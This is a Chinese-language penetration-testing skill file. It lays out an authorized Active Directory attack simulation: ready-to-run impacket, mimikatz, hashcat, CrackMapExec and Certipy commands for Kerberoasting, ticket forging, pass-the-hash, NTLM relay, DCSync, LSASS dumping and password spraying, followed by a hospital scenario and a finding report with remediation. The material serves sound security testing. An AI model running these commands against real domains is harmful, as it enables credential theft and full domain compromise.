| name | executing-active-directory-attack-simulation |
| description | 对 Active Directory 环境执行授权攻击模拟,识别错误配置、弱凭据、危险特权路径以及可导致域沦陷的可利用信任关系。测试人员使用 BloodHound 进行攻击路径分析,使用 Mimikatz 进行凭据提取,使用 Impacket 进行协议级攻击,包括 Kerberoasting、AS-REP Roasting 和委派滥用。适用于 Active Directory 渗透测试、AD 攻击模拟、域沦陷测试或 Kerberos 攻击评估等请求场景。
|
| domain | cybersecurity |
| subdomain | penetration-testing |
| tags | ["Active-Directory","BloodHound","Mimikatz","Kerberoasting","domain-compromise"] |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
执行 Active Directory 攻击模拟
适用场景
- 评估 Active Directory 域和林的安全性,对抗常见和高级攻击技术
- 利用特权关系分析,识别从低权限域用户到域管理员(Domain Admin)的攻击路径
- 验证 Kerberos 安全配置、凭据策略和委派设置能否抵御已知攻击
- 测试 SOC 和 EDR 工具针对 Active Directory 特定 TTP 的检测能力
- 评估分层管理模型和特权访问工作站(PAW)的有效性
不适用于:未获得域所有者明确书面授权的情况、在未获批准的业务高峰期对生产域控制器进行测试、或可能导致真实用户账户锁定的测试(须事先协调)。
前置条件
- 书面授权,注明目标 AD 域、测试约束条件以及任何禁止测试的账户或系统
- 低权限域用户账户(最低起点),用于模拟真实攻击者位置
- 已加入域的测试工作站,或能访问域控制器端口 88、135、139、389、445、636、3268、3269 的网络
- BloodHound 社区版或企业版,配合 SharpHound/AzureHound 采集器
- 在攻击平台上安装 Impacket 工具包、Mimikatz(或 pypykatz)、Rubeus 和 CrackMapExec
- Hashcat 或 John the Ripper,配备最新词表(rockyou.txt、SecLists),用于离线凭据破解
工作流程
步骤 1:Active Directory 侦察
从低权限域用户位置枚举 AD 环境:
- 域枚举:使用
Get-ADDomain 或 crackmapexec smb <dc_ip> -u <user> -p <pass> --domains 识别域名、功能级别、域控制器和林信任关系
- 用户枚举:使用
Get-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSet 识别服务账户、特权账户和过期密码
- 组枚举:使用
net group "Domain Admins" /domain 映射高价值组(Domain Admins、Enterprise Admins、Schema Admins、Account Operators、Backup Operators)的成员关系
- GPO 枚举:使用
Get-GPO -All | Get-GPOReport -ReportType XML 识别组策略配置,包括密码策略、审计设置和软件部署
- 信任枚举:使用
nltest /domain_trusts /all_trusts 映射域间和林间信任关系,注意信任方向和传递性
- LDAP 查询:使用
ldapsearch 或 ADExplorer 搜索带有 userAccountControl 标志的账户,这些标志表示"密码永不过期"、"不需要密码"或"仅 DES Kerberos"
步骤 2:BloodHound 攻击路径分析
收集并分析 AD 关系数据,识别到达域管理员的最短路径:
- 运行 SharpHound 采集器:
SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\,收集用户、组、会话、ACL、信任关系和 GPO 数据
- 将 JSON 输出导入 BloodHound,运行内置查询:
- "从已拥有主体到域管理员的最短路径"
- "查找具有 DCSync 权限的主体"
- "查找域用户为本地管理员的计算机"
- "到无约束委派系统的最短路径"
- "从可 Kerberoast 用户的所有路径"
- 在 BloodHound 中将已控用户标记为"已拥有",分析产生的攻击路径
- 识别基于 ACL 的攻击路径:对高价值对象的 GenericAll、GenericWrite、WriteDACL、WriteOwner、ForceChangePassword 权限
- 记录每条已识别的攻击路径,包含关系链和受影响对象
步骤 3:Kerberos 攻击
对已识别的脆弱账户执行 Kerberos 攻击:
- Kerberoasting:为带 SPN 的账户请求 TGS 票据:
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes。离线使用 hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt 破解
- AS-REP Roasting:针对未启用 Kerberos 预身份验证的账户:
impacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes。使用 hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt 破解
- 银票据(Silver Ticket):若服务账户的 NTLM 哈希被破解,使用
impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username> 为该服务伪造 TGS 票据
- 黄金票据(Golden Ticket):若获取到 krbtgt 哈希(域沦陷后),伪造 TGT:
mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi"
- 无约束委派(Unconstrained Delegation)滥用:识别具有无约束委派的计算机,使用 PrinterBug 或 PetitPotam 强制域控制器认证,然后从内存中捕获域控制器的 TGT
步骤 4:凭据攻击与横向移动
利用收集到的凭据在域内横向移动:
- 哈希传递(Pass-the-Hash):
impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM>,在已控账户具有本地管理员权限的系统上执行命令
- 票据传递(Pass-the-Ticket):
export KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-pass,使用捕获或伪造的 Kerberos 票据
- NTLM 中继(NTLM Relay):配置
impacket-ntlmrelayx -t ldap://<dc_ip> --escalate-user <user>,强制认证以中继 NTLM 凭据进行权限提升
- DCSync:若获取 DCSync 权限(复制目录更改权限):
impacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc-ntlm,转储所有域密码哈希
- 密码喷洒(Password spraying):
crackmapexec smb <dc_ip> -u users.txt -p 'Winter2025!' --no-bruteforce,对所有账户测试一个密码以避免锁定
- LSASS 转储:在已控主机上,使用
mimikatz "sekurlsa::logonpasswords" 或 procdump -ma lsass.exe lsass.dmp 从 LSASS 内存中提取凭据,然后离线提取
步骤 5:提升至域管理员权限
串联已发现的攻击路径,从低权限用户提升至域管理员:
- 按 BloodHound 识别的最短路径,执行每个关系节点(例如:对用户设置 GenericWrite 权限 -> 设置 SPN -> Kerberoast -> 破解密码 -> 用户是对 Domain Admins 具有 WriteDACL 权限的组成员 -> 授予自身成员资格)
- 若发现组策略首选项(GPP)密码,则利用之:
crackmapexec smb <dc_ip> -u <user> -p <pass> -M gpp_autologin
- 若部署了 LAPS(本地管理员密码解决方案),则查询 LAPS 密码:
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd
- 使用 Certipy 滥用证书服务(AD CS):
certipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dc_ip>,查找可利用的证书模板(ESC1-ESC8)
- 记录从初始用户到域管理员的完整攻击链,包含使用的所有凭据、工具和技术
核心概念
| 术语 | 定义 |
|---|
| Kerberoasting | 为具有服务主体名称(SPN)的账户请求 Kerberos TGS 票据,并离线破解以恢复服务账户明文密码 |
| AS-REP Roasting | 为未启用预身份验证的账户请求 Kerberos AS-REP 响应,并离线破解加密时间戳 |
| DCSync | 利用目录复制服务权限(DS-Replication-Get-Changes-All)从域控制器复制密码数据,模拟域控制器行为 |
| BloodHound | 基于图的 Active Directory 分析工具,映射特权关系,识别从任意用户到高价值目标(如域管理员)的攻击路径 |
| 无约束委派(Unconstrained Delegation) | Kerberos 委派配置,允许服务以任意用户身份访问任意其他服务,从而捕获连接用户的 TGT |
| 哈希传递(Pass-the-Hash) | 直接使用 NTLM 哈希而非明文密码进行身份验证,利用 Windows NTLM 认证机制 |
| AD CS 滥用 | 利用错误配置的 Active Directory 证书服务模板请求证书,以获取提升的权限或冒充其他用户 |
| NTLM 中继(NTLM Relay) | 将捕获的 NTLM 认证转发给不同服务,以受害者身份进行认证,在未强制 SMB 签名时有效 |
工具与系统
- BloodHound:攻击路径分析工具,摄取 SharpHound 收集的 AD 数据,通过对象关系可视化并识别权限提升路径
- Impacket:网络协议交互的 Python 工具包,支持 Kerberos 攻击(GetUserSPNs、GetNPUsers)、凭据转储(secretsdump)和远程执行(psexec、wmiexec)
- Mimikatz:后渗透工具,用于从 Windows 内存(LSASS 进程)中提取明文凭据、NTLM 哈希和 Kerberos 票据
- CrackMapExec:面向 Active Directory 环境的多协议攻击工具,支持 SMB、LDAP、WinRM 和 MSSQL,内置密码喷洒和枚举模块
- Certipy:用于枚举和利用 Active Directory 证书服务(AD CS)错误配置的 Python 工具
常见场景
场景:针对医疗机构的域沦陷评估
场景背景:某医院网络拥有单个 Active Directory 林,包含 5,000 个用户账户、800 个计算机对象和分布在 3 个站点的 15 台域控制器。测试人员从单个低权限域用户账户开始,目标是确定拥有员工被盗凭据的攻击者是否能提升至域管理员。
方法:
- 运行 SharpHound 收集 AD 关系数据并导入 BloodHound
- BloodHound 揭示一条路径:已控用户 -> IT-Support 组成员 -> 对 SVC-SQL 账户具有 GenericAll 权限 -> SVC-SQL 具有 SPN -> Kerberoast -> SVC-SQL 是 DB-SERVER-01 的本地管理员 -> DB-SERVER-01 存在域管理员会话
- Kerberoast SVC-SQL,使用 hashcat 在 12 分钟内破解弱密码(Summer2023!)
- 使用 SVC-SQL 凭据通过 psexec 访问 DB-SERVER-01
- 从 DB-SERVER-01 的 LSASS 内存中提取域管理员凭据
- 执行 DCSync 转储所有域哈希,验证域沦陷
- 报告完整攻击链及修复建议:为服务账户设置 25 位以上字符密码、启用仅 AES 的 Kerberos 加密、移除不必要的本地管理员权限、实施分层管理
常见陷阱:
- 在业务高峰期使用嘈杂的 SharpHound 收集方法,通过大量 LDAP 查询触发 SOC 告警
- 未先检查域锁定策略就进行密码喷洒,导致数百个账户被锁定
- 忽略 AD CS 漏洞测试,而这通常是到达域管理员最快的路径
- 未检查可能仍缓存凭据或存在活跃会话的过期计算机账户
输出格式
## 发现:服务账户易受 Kerberoasting 攻击且使用弱密码
**ID**: AD-002
**严重性**: 严重(CVSS 9.1)
**受影响对象**: SVC-SQL@corp.example.com(服务账户)
**攻击技术**: MITRE ATT&CK T1558.003 - Kerberoasting
**描述**:
服务账户 SVC-SQL 在 Active Directory 中注册了服务主体名称(MSSQLSvc/db-server-01.corp.example.com:1433),
使用弱密码,hashcat 结合 rockyou.txt 词表在 12 分钟内破解成功。该账户在
DB-SERVER-01 上具有本地管理员权限,测试时该服务器存在活跃的域管理员会话。
**攻击链**:
1. 请求 TGS 票据: impacket-GetUserSPNs corp.example.com/testuser:password -request
2. 破解哈希: hashcat -m 13100 hash.txt rockyou.txt(12 分钟破解: Summer2023!)
3. 横向移动: impacket-psexec corp.example.com/SVC-SQL:Summer2023!@db-server-01
4. 凭据提取: mimikatz sekurlsa::logonpasswords -> 域管理员 NTLM 哈希
**影响**:
从单个低权限域用户账户实现完全域沦陷。攻击者可访问所有
5,000 个用户账户、800 个计算机对象以及域内所有数据。
**修复建议**:
1. 为 SVC-SQL 及所有服务账户设置 25 位以上随机生成密码
2. 迁移至组托管服务账户(gMSA),自动轮换 120 字符密码
3. 启用 AES256 Kerberos 加密,禁用 RC4(DES)加密
4. 从 DB-SERVER-01 本地管理员组中移除 SVC-SQL
5. 对特权账户实施 Protected Users 组,防止凭据缓存
6. 部署 Microsoft Defender for Identity,检测 Kerberoasting 和 DCSync 攻击